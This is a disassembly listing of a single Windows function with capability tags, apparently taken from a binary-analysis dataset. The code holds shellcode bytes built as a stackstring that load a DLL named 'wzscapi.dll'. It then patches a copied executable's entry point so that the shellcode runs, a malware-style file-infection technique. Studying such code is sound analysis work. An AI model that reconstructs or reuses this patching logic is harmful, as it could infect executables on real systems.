Function at 0x485ac3
Capabilities:
Contain obfuscated stackstrings
Copy file
Parse pe header
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4abfe8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x170
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x34], 0xb8
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x1d
mov byte [ebp - 0x31], 0x80
mov byte [ebp - 0x30], 0x7c
mov byte [ebp - 0x2f], 0x68
mov byte [ebp - 0x2e], 0x64
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0
mov byte [ebp - 0x2a], 0x68
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x70
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x2e
mov byte [ebp - 0x25], 0x68
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x7a
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x54
mov byte [ebp - 0x1f], 0xff
mov byte [ebp - 0x1e], 0xd0
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x485bbf
call dword [sym.imp.MSVCRT.dll_rand]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x5375f4
push 0x104
lea eax, [ebp - 0x14c]
push eax
call fcn.0040a150
add esp, 0x14
lea ecx, [ebp - 0x14c]
push ecx
call fcn.0042b4af
add esp, 4
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
je 0x485bbf
jmp 0x485b6c
push 0
lea edx, [ebp - 0x14c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x485be2
xor eax, eax
jmp 0x485ec8
lea ecx, [ebp - 0x14c]
push ecx
call fcn.00429c3f
add esp, 4
mov dword [ebp - 0x174], eax
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x160], edx
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
jne 0x485c35
xor eax, eax
jmp 0x485ec8
mov ecx, dword [ebp - 0x160]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x178], eax
mov edx, dword [ebp - 0x178]
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x485c6e
mov byte [ebp - 4], 1
jmp 0x485e7d
push 0
lea ecx, [ebp - 0x15c]
push ecx
mov edx, dword [ebp - 0x160]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
je 0x485c9d
mov byte [ebp - 4], 1
jmp 0x485e7d
mov edx, dword [ebp - 0x15c]
cmp edx, dword [ebp - 0x160]
je 0x485cb4
mov byte [ebp - 4], 1
jmp 0x485e7d
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jne 0x485ccf
mov byte [ebp - 4], 1
jmp 0x485e7d
mov ecx, dword [ebp - 0x158]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x5a4d
je 0x485ceb
mov byte [ebp - 4], 1
jmp 0x485e7d
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x38]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], 0
jne 0x485d09
mov byte [ebp - 4], 1
jmp 0x485e7d
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x160]
cmp dword [ebp - 0x44], edx
jbe 0x485d20
mov byte [ebp - 4], 1
jmp 0x485e7d
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0x4550
jne 0x485d38
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov dx, word [ecx + 6]
test edx, edx
jne 0x485d41
mov byte [ebp - 4], 1
jmp 0x485e7d
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x28]
push ecx
mov edx, dword [ebp - 0x38]
push edx
call fcn.0042bc0a
add esp, 8
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], ecx
push 0x17
lea edx, [ebp - 0x34]
push edx
push 0x400
mov eax, dword [ebp - 0x18]
push eax
call fcn.0042cd64
add esp, 0x10
mov dword [ebp - 0x180], eax
mov ecx, dword [ebp - 0x180]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
jne 0x485da1
mov byte [ebp - 4], 1
jmp 0x485e7d
mov edx, dword [ebp - 0x14]
add edx, 0x1f
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], 0x500000
ja 0x485dc4
cmp dword [ebp - 0x48], 0x400000
jae 0x485dcd
mov byte [ebp - 4], 1
jmp 0x485e7d
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
sub eax, dword [edx + 0x34]
mov ecx, dword [ebp - 0x44]
mov dword [ecx + 0x28], eax
push 0
push 0
push 0
mov edx, dword [ebp - 0x154]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x15c]
push eax
mov ecx, dword [ebp - 0x160]
push ecx
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x485e1a
mov byte [ebp - 4], 1
jmp 0x485e7d
mov ecx, dword [ebp - 0x160]
cmp ecx, dword [ebp - 0x15c]
je 0x485e2e
mov byte [ebp - 4], 1
jmp 0x485e7d
cmp dword [ebp - 0x154], 0xffffffff
je 0x485e4e
mov edx, dword [ebp - 0x154]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xffffffff
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x14c]
push ecx
call fcn.0048dee7
add esp, 8
mov dword [ebp - 0x150], 1
jmp 0x485e7d
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x154], 0xffffffff
je 0x485ea4
mov edx, dword [ebp - 0x154]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xffffffff
cmp dword [ebp - 0x38], 0
je 0x485ec2
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x168], eax
mov ecx, dword [ebp - 0x168]
push ecx
call fcn.004a90a8
add esp, 4
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4